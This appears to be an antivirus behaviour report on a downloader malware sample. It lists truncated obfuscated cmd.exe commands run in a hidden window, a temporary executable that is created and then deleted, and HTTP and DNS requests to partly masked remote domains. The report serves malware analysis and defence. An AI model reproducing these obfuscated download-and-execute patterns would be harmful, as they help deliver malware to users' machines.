Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c CMd /v: /c " sEt '{@]=\_\_---/-\_\/_/ //\_-_-\\\--/__ -/_/_\-\--\//_\ \//_-\-_\/_-/-\ -\_\-/-_//\_-_/ \/_///_\_---_-\ /\_-_-_/--\_/\\ \-\\//__/-/-_\- \/\/_\/_-\/-__- -...
Modifies file system
Creates the following files
- %TEMP%\986.exe
Deletes the following files
- %TEMP%\986.exe
Network activity
Connects to
- 'oc####gactors.com':80
- 'up##.com.tw':80
- 'at###co.com.vn':80
TCP
HTTP GET requests
- http://www.oc####gactors.com/PBeep
- http://up##.com.tw/GS0Rb4K
- http://at###co.com.vn/cdQ7vX
UDP
- DNS ASK oc####gactors.com
- DNS ASK ba##e.org
- DNS ASK up##.com.tw
- DNS ASK at###co.com.vn
- DNS ASK it####uage.co.uk
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c CMd /v: /c " sEt '{@]=\_\_---/-\_\/_/ //\_-_-\\\--/__ -/_/_\-\--\//_\ \//_-\-_\/_-/-\ -\_\-/-_//\_-_/ \/_///_\_---_-\ /\_-_-_/--\_/\\ \-\\//__/-/-_\- \/\/_\/_-\/-__- -...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /v: /c " sEt '{@]=\_\_---/-\_\/_/ //\_-_-\\\--/__ -/_/_\-\--\//_\ \//_-\-_\/_-/-\ -\_\-/-_//\_-_/ \/_///_\_---_-\ /\_-_-_/--\_/\\ \-\\//__/-/-_\- \/\/_\/_-\/-__- -_-\/\\_-_///\- //-__--...
